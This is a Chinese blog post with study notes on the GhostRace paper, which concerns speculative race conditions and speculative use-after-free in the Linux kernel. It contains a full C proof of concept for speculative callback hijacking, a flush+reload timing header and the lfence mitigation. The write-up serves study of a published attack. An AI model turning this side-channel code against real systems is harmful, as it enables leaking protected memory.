GhostRace: Exploiting and Mitigating Speculative Race Conditions-记录

news2024/12/22 18:42:50

文章目录

  • 论文
  • 背景
    • Spectre-PHT（Transient Execution ）
    • Concurrency Bugs
    • SRC/SCUAF和实验条件
  • 流程
    • Creating an Unbounded UAF Window
    • Crafting Speculative Race Conditions
    • Exploiting Speculative Race Conditions
  • poc
  • 修复
  • flush and reload

论文

https://www.usenix.org/system/files/usenixsecurity24-ragab.pdf

背景

Spectre-PHT（Transient Execution ）

现代 CPU 为提高性能，会对指令进行推测执行（就是CPU会先把可能的判断结果执行）
推测执行可能有两种结果：
a) 指令被正常提交
b) 指令因预测错误被回滚（squashed），产生Transient Execution，但相关缓存被保留

if (x < array1_size) {
    y = array2[array1[x] * 0x1000];
}
  1. x可控，多次x < array1_size后会认为可能依然是x < array1_size，然后执行if里的语句
  2. 如果x越界，但依然认为是x < array1_size，然后执行if里的语句。此时会把array1[x]越界访问的内容放入缓存，再通过array2[array1[x] * 0x1000]访问对应的位置
  3. 通过测信道可以探测出如果访问array2某个位置快一些，那么这个位置有可能就是array1[x]越界访问的内容，即泄露内容

Concurrency Bugs

在这里插入图片描述

SRC/SCUAF和实验条件

SRC：就是两个线程同时访问一个内存位置，一个是写操作，另一个是瞬时访问，此时瞬时访问能够绕过互斥锁。从而产生Speculative Concurrent Use-After-Free(SCUAF)和Concurrency Bugs类似

所有保护均开启， Linux kernel running on Intel x86-64.然后普通用户通过系统调用引发SRC来泄露数据

流程

在这里插入图片描述

nfc_hci_msg_tx_work该函数是Linux内核中近场通信（NFC）驱动核心的主机控制器接口（Host Controller Interface, HCI）层实现的一部分，负责处理内核发送到NFC设备的待处理消息。由于我们没有所需的NFC硬件来原生执行此函数，因此我们在分析过程中添加了一个系统调用以达到这一代码路径。

在这里插入图片描述

Creating an Unbounded UAF Window

在这里插入图片描述

目的：在free和设置NULL之间创建一个时间较大的窗口间隙

计时器到期会引发中断

首先通过设置定时器引起中断，在kfree时引起中断，但由于上锁，所以会等到已解锁就进入定时器的中断处理函数中，可以增加中断处理函数延长时间，这段时间通过其他核心发动系统调用使得向受害者核心发送中断，然后它陷入无限中断

Crafting Speculative Race Conditions

在这里插入图片描述

锁宏观上没问题，微观上可能有问题

第四行分支最终检查lock cmpxchgq指令的结果，该指令自动比较互斥锁ptr的当前值和旧值old，如果相同，则意味着互斥锁可以被锁定——将互斥锁设置为新值new，并授予对受保护临界区域的访问权，否则不行

我们可以多次获取互斥锁然后推测执行中获取互斥锁并进入受保护的临界区域。

其他常见同步写原语很多通过条件分支实现的，所以都很容易收到推测竞争条件的影响

实验得到不同架构不同核心和线程安排的瞬态执行时可以执行的指令数量
在这里插入图片描述

当两个线程跨核心运行时，窗口通常更大，这表明在推测终止之前，缓存一致性协议在跨内核传播锁体系结构状态方面起着至关重要的作用。（我的理解是前一个执行上锁后，另一个开始推测执行，原执行流检查上锁时候得到已经上锁的信息较慢，导致此时推测执行已经执行多条了）

Exploiting Speculative Race Conditions

在这里插入图片描述

  1. 分配hdev和hdev->cmd_pending_msg
  2. 误导mutex的条件分支
  3. 启动victim线程和风暴线程：设置定时器，并启动目标函数
  4. free后进入定时器中断处理函数，此时窗口增大，运行别的函数
  5. 此时在窗口内创建msgbuf来对应hci_msg
  6. 通过msgsnd申请到hdev->cmd_pending_msg一样大小的project，拿到刚刚释放的，设置好cb和cb_context
  7. nfc_hci_msg_tx_work出发瞬态推测执行劫持控制流

poc

#include <stdio.h>
#include <pthread.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>

#include "fr.h"

//
#define FR_BUFF_SIZE (2 * 4096)
char fr_buff[FR_BUFF_SIZE] __attribute__((aligned(4096)));
//为了准确测量不同位置的访问时间差异，确保每个缓存行位于单独的页面上是非常重要的。这样可以避免由于跨页引起的额外延迟干扰测量结果。
volatile int r __cacheline_aligned;
//
pthread_mutex_t lock;

/* 与小工具相关的代码/数据。 */
void my_callback()
{
}

void evil_callback()
{
    // 访问4096，其所在的起始页长放入缓存中
    maccess(&fr_buff[4096]);
}

typedef void (*cb_t)();
typedef struct data_s
{
    cb_t callback;
} data_t;
data_t *data_ptr;

/* 辅助函数。 */
void train_lock()
{
    int i;
    for (i = 0; i < 10; i++)
    {
        pthread_mutex_lock(&lock);
        pthread_mutex_unlock(&lock);
    }
}

void init()
{
    //数组初始化赋值才访问对应元素，不然直接访问未初始化会出现莫名其妙问题。所以按照正常流程先初始化再访问 !!!!

    memset(fr_buff, 'x', FR_BUFF_SIZE);
    //初始化后需要清空其所在的缓存
    // int i=4096*2;
    // printf("i %lu  buff %lu\n",i,probe_timing(&fr_buff[i]));
    flush(&fr_buff[0]);
    flush(&fr_buff[4096]);
    // int i=4096*2-10;
    // printf("i %lu  buff %lu\n",i,probe_timing(&fr_buff[i]));
    // 初始化锁 
    int r;
    r = pthread_mutex_init(&lock, NULL);
 
    // 初始化结构体
    data_ptr = malloc(sizeof(data_t));
    data_ptr->callback = my_callback;
    
}

int main()
{
    init();
    // 线程1：训练 pthread_mutex_lock(&lock)和pthread_mutex_unlock中的代码总是成功
    train_lock();

    // 线程1：获取锁，释放结构体
    pthread_mutex_lock(&lock);
    free(data_ptr);

    // 线程2：线程1在free()之后但在状态更新和锁释放之前被中断。然后，线程2重用内存以控制未来的悬挂指针引用（并劫持控制流到恶意回调）。 
    data_t *p = malloc(sizeof(data_t));
    p->callback = evil_callback;
    
    // 线程2：推测执行绕过上锁，并调用回调函数,这只会执行一个UAF（即，推测性控制流劫持
    r = pthread_mutex_trylock(&lock);//如果是pthread_mutex_lock(&lock);那么预测执行会回滚到pthread_mutex_lock(&lock);那么将陷入死循环
    if (r == 0)
    {
        data_ptr->callback();
        // pthread_mutex_unlock(&lock); 推测执行的指令数量根本不满足执行完pthread_mutex_unlock
    }
    

    // 线程1：恢复执行并更新NULL
    data_ptr = NULL;
    pthread_mutex_unlock(&lock);

    // 线程2：通过F+R测信道知道访问内存的时间较短的位置为推测执行中访问的位置
    unsigned long t1 = probe_timing(&fr_buff[0]);
    unsigned long t2 = probe_timing(&fr_buff[4096]);
    if (t2 < t1)
    {
        printf("得到信号 (%lu < %lu): 内存重用、推测性UAF以及推测性控制流劫持成功触发。\n", t2, t1);
    }
    else
    {
        printf("意外的时间：%lu << %lu\n", t1, t2);
    }

    return 0;
}

头文件

#ifndef FR_H
#define FR_H

// 定义 likely 宏，用于优化条件分支预测。
#define likely(expr) __builtin_expect(!!(expr), 1)

// 定义缓存行对齐属性宏，确保变量按照64字节边界对齐，并放置在特定的数据段中。
#define __cacheline_aligned \
  __attribute__((__aligned__(64), \
		 __section__(".data..cacheline_aligned")))

// 探测访问给定地址所需的时间。该函数使用汇编指令来测量读取一个内存位置前后的时钟周期数。
static inline unsigned long probe_timing(char *adrs) {
    volatile unsigned long time;

    asm __volatile__(
        "    mfence             \n" // 确保所有之前的存储操作已完成。
        "    lfence             \n" // 确保所有之前加载操作已完成。
        "    rdtsc              \n" // 读取时间戳计数器。
        "    lfence             \n" // 确保此指令前的所有加载都已完成。
        "    movl %%eax, %%esi  \n" // 将低32位时间戳保存到 ESI 寄存器。
        "    movl (%1), %%eax   \n" // 从内存位置加载数据（触发缓存行为）。
        "    lfence             \n" // 确保此指令前的所有加载都已完成。
        "    rdtsc              \n" // 再次读取时间戳计数器。
        "    subl %%esi, %%eax  \n" // 计算两次读取之间的时间差。
        "    clflush 0(%1)      \n" // 清除指定内存位置的缓存行。
        : "=a" (time)            // 输出参数：EAX 寄存器值赋给 'time'。
        : "c" (adrs)             // 输入参数：'adrs' 的值通过 ECX 寄存器传递。
        : "%esi", "%edx"         // 被修改的寄存器列表。
    );
    return time;
}

// 返回当前CPU的时钟周期数。rdtsc 指令读取时间戳计数器，它记录了自系统启动以来的时钟周期数。
static inline unsigned long long rdtsc() {
	unsigned long long a, d;
	asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
	asm volatile ("rdtsc" : "=a" (a), "=d" (d)); // 读取时间戳计数器，分别放入 a 和 d。
	a = (d<<32) | a; // 组合 EDX:EAX 成一个64位时间戳。
	asm volatile ("mfence"); // 确保所有之前的存储操作已完成。
	return a;
}

// maccess 宏定义用于触发电平1缓存未命中，模拟内存访问。
#define maccess(p) \
  asm volatile ("movq (%0), %%rax\n" \
    : \
    : "c" (p) \
    : "rax")

// flush 宏定义用于清除指定内存位置的缓存行。
#define flush(p) \
    asm volatile ("clflush 0(%0)\n" \
      : \
      : "c" (p) \
      : "rax")

#endif

在这里插入图片描述

修复

  1. 序列化指令（lfence）：

    • lfence 是一种序列化指令，主要用于控制指令流的顺序。它会确保在它之前的所有操作完成后才会执行后续的指令。
    • 通过在 cmpxchg 之后插入 lfence，可以确保在锁定操作完成后，任何后续的操作不会被提前执行。这样就阻止了处理器在锁定机制确认之前，对关键区代码的任何投机执行。

  2. 实现细节：

    • 在 Linux 内核的 arch/x86/include/asm/cmpxchg.h 文件中进行了修改。
    • 具体地，在 __raw_cmpxchg 和 __raw_try_cmpxchg 汇编宏中加入了 lfence 指令。
    • 这些宏用于实现所有的写侧同步原语，通过这种方式，确保所有相关的同步操作都受到保护。

但内核性能下降5%

flush and reload

22.5 Flush and Reload
flush+reload学习笔记

缓存会加载4096个字节，也就是一个页到缓存中
clflush会清理缓存行，也是4096个字节，也就是一个页

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2263844.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

c4d动画怎么导出mp4视频，c4d动画视频格式设置

c4d动画怎么导出mp4视频，c4d动画视频格式设置

宝子们&#xff0c;今天来给大家讲讲 C4D 咋导出mp4视频的方法。通过用图文教程的形式给大家展示得明明白白的&#xff0c;让你能轻松理解和掌握&#xff0c;不管是理论基础&#xff0c;还是实际操作和技能技巧&#xff0c;都能学到&#xff0c;快速入门然后提升自己哦。 c4d动…
阅读更多...
你的第一个博客-第一弹

你的第一个博客-第一弹

使用 Flask 开发博客 Flask 是一个轻量级的 Web 框架&#xff0c;适合小型应用和学习项目。我们将通过 Flask 开发一个简单的博客系统&#xff0c;支持用户注册、登录、发布文章等功能。 步骤&#xff1a; 安装 Flask 和其他必要库&#xff1a; 在开发博客之前&#xff0c;首…
阅读更多...
嵌入式单片机的运行方式详解

嵌入式单片机的运行方式详解

程序的运行方式轮询系统 指的是在程序运行时，首先对所有的硬件进行初始化，然后在主程序中写一个死循环，需要运行的功能按照顺序进行执行，轮询系统是一种简单可靠的方式，一般适用于在只需要按照顺序执行的并且没有外部事件的影响的情况下。 程序的运行过程中出现如按键等需…
阅读更多...
学技术学英文：SpringBoot的内置监控组件-Spring Boot Actuator

学技术学英文：SpringBoot的内置监控组件-Spring Boot Actuator

导读&#xff1a; Spring Boot Actuator是Spring Boot提供的一个模块&#xff0c;简单配置后就能开启&#xff0c;属于拿来即用&#xff0c;具体功能如下&#xff1a; 监控和管理Spring Boot应用 Spring Boot Actuator提供了一组REST端点和命令行工具&#xff0c;用于查看应…
阅读更多...
「Mac畅玩鸿蒙与硬件45」UI互动应用篇22 - 评分统计工具

「Mac畅玩鸿蒙与硬件45」UI互动应用篇22 - 评分统计工具

本篇将带你实现一个评分统计工具&#xff0c;用户可以对多个选项进行评分。应用会实时更新每个选项的评分结果&#xff0c;并统计平均分。这一功能适合用于问卷调查或评分统计的场景。 关键词 UI互动应用评分统计状态管理数据处理多目标评分 一、功能说明 评分统计工具允许用…
阅读更多...
压缩glb模型文件

压缩glb模型文件

使用?gltf-pipeline进行压缩&#xff1a; GitHub地址[这里是图片001]https://github.com/CesiumGS/gltf-pipeline 1. 安装gltf-pipeline npm install -g gltf-pipeline2. 在glb文件目录打开cmd进行命令行压缩&#xff1a; // cmd: gltf-pipeline -i glb.glb -d -s以下是 -…
阅读更多...
创建SpringBoot项目的五种方式

创建SpringBoot项目的五种方式

1. 使用SpringBoot官方模板创建 1.1 IDEA集成创建 File > new Project 目前SpringBoot官方对于SpringBoot模板版本都比较新&#xff0c;所以对Java的依赖版本也很新&#xff0c;这里可以看到已经不支持jdk8了&#xff0c;并且只有SpringBoot3版本 我们选择好之后点击…
阅读更多...
软件维护的实施

软件维护的实施

软件维护活动 (1) 维护机构 除了较大的软件开发公司外&#xff0c;通常在软件维护工作方面&#xff0c;不保持正式的维护机构。维护往往是在没有计划的情况下进行的。虽然不要求建立一个正式的维护机构&#xff0c;但是在开发部门&#xff0c;确立一个非正式的维护机构则是非常…
阅读更多...
stm32 rtc 详解

stm32 rtc 详解

目录 L151 RTC 唤醒代码 方式一 通过 RTC Alarm Interrupt&#xff1a;(基本和F1系列一样)&#xff1a; L151 RTC 唤醒代码 方式二 通过 RTC WakeUp Interrupt F103VE RTC 闹钟唤醒代码 &#xff08;103RC 没有闹钟中断&#xff09;&#xff1a; RTC&#xff08;real time…
阅读更多...
arcgisPro相接多个面要素转出为完整独立线要素

arcgisPro相接多个面要素转出为完整独立线要素

1、使用【面转线】工具&#xff0c;并取消勾选“识别和存储面邻域信息”&#xff0c;如下&#xff1a; 2、得到的线要素&#xff0c;如下&#xff1a;
阅读更多...
机器人国际会议IROS论文latex模板

机器人国际会议IROS论文latex模板

机器人国际会议IROS论文latex模板 文档 root.tex 可以配置为 US Letter 纸或 A4。请注意以下重要行&#xff1a;\documentclass[letterpaper, 10 pt, Conference]{ieeeconf} % 如果需要 a4paper&#xff0c;请注释掉此行%\documentclass[a4paper, 10pt, Conference]{ieeeconf} …
阅读更多...
JVM和数据库面试知识点

JVM和数据库面试知识点

JVM内存结构 主要有几部分&#xff1a;堆、栈、方法区和程序计数器 堆是JVM中最大的一块内存区域&#xff0c;用于存储对象实例&#xff0c;一般通过new创建的对象都存放在堆中。堆被所有的线程共享&#xff0c;但是它的访问时线程不安全的&#xff0c;通常通过锁的机制来保证线…
阅读更多...
数据结构：栈和队列的实现

数据结构：栈和队列的实现

栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。 进行数据插入和删除操作的一端 称为栈顶&#xff0c;另一端称为栈底。 栈中的数据元素遵守后进先出 LIFO &#xff08; Last In First Out &#xff09;的原则。 压栈&#xff1a;栈…
阅读更多...
实现 WebSocket 接入文心一言

实现 WebSocket 接入文心一言

目录 什么是 WebSocket&#xff1f; 为什么需要 WebSocket&#xff1f; HTTP 的局限性 WebSocket 的优势 总结&#xff1a;HTTP 和 WebSocket 的区别 WebSocket 的劣势 WebSocket 常见应用场景 WebSocket 握手过程 WebSocket 事件处理和生命周期 WebSocket 心跳机制 …
阅读更多...
开源轮子 - Logback 和 Slf4j

开源轮子 - Logback 和 Slf4j

spring boot内置&#xff1a;Logback 文章目录 spring boot内置&#xff1a;Logback一&#xff1a;Logback强在哪&#xff1f;二&#xff1a;简单使用三&#xff1a;把 log4j 转成 logback四&#xff1a;日志门面SLF4J1&#xff1a;什么是SLF4J2&#xff1a;SLF4J 解决了什么痛…
阅读更多...
MFC/C++学习系列之简单记录13

MFC/C++学习系列之简单记录13

MFC/C学习系列之简单记录13 前言memsetList Control代码注意 总结 前言 今天记录一下memset和List control 的使用吧&#xff01; memset memset通常在初始化变量或清空内存区域的时候使用&#xff0c;可以对变量设定特定的值。 使用&#xff1a; 头文件&#xff1a; C&#…
阅读更多...
Layui table不使用url属性结合laypage组件实现动态分页

Layui table不使用url属性结合laypage组件实现动态分页

从后台一次性获取所有数据赋值给 Layui table 组件的 data 属性&#xff0c;若数据量大时&#xff0c;很可能会超出浏览器字符串最大长度&#xff0c;导致渲染数据失败。Layui table 结合 laypage 组件实现动态分页可解决此问题。 HTML增加分页组件标签 在table后增加一个用于…
阅读更多...
网络方案设计

网络方案设计

一、网络方案设计目标 企业网络系统的构成 应用软件 计算平台 物理网络及拓扑结构 网络软件及工具软件 网络互连设备 广域网连接 无论是复杂的&#xff0c;还是简单的计算机网络&#xff0c;都包括了以下几个基本元素 &#xff1a; 应用软件----支持用户完成专门操作的软件。…
阅读更多...
QT QWidget 背景颜色 鼠标hover 背景颜色研究

QT QWidget 背景颜色 鼠标hover 背景颜色研究

自定义控件 UserAvatarWidget 的样式问题及解决方案 场景描述 我开发了一个继承自 QWidget 的自定义控件 UserAvatarWidget&#xff0c;并在 .ui 文件中引入了该控件。引入代码如下&#xff1a; <item><widget class"UserAvatarWidget" name"userAv…
阅读更多...
javaScriptBOM

javaScriptBOM

1.1、BOM概述 1.1.1、BOM简介 BOM&#xff08;browser Object&#xff09;即浏览器对象模型&#xff0c;它提供了独立于内容而与浏览器窗口进行交互的对象&#xff0c;其核心对象是window。 BOM由一系列的对象构成&#xff0c;并且每个对象都提供了很多方法与属性 BOM缺乏标准…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023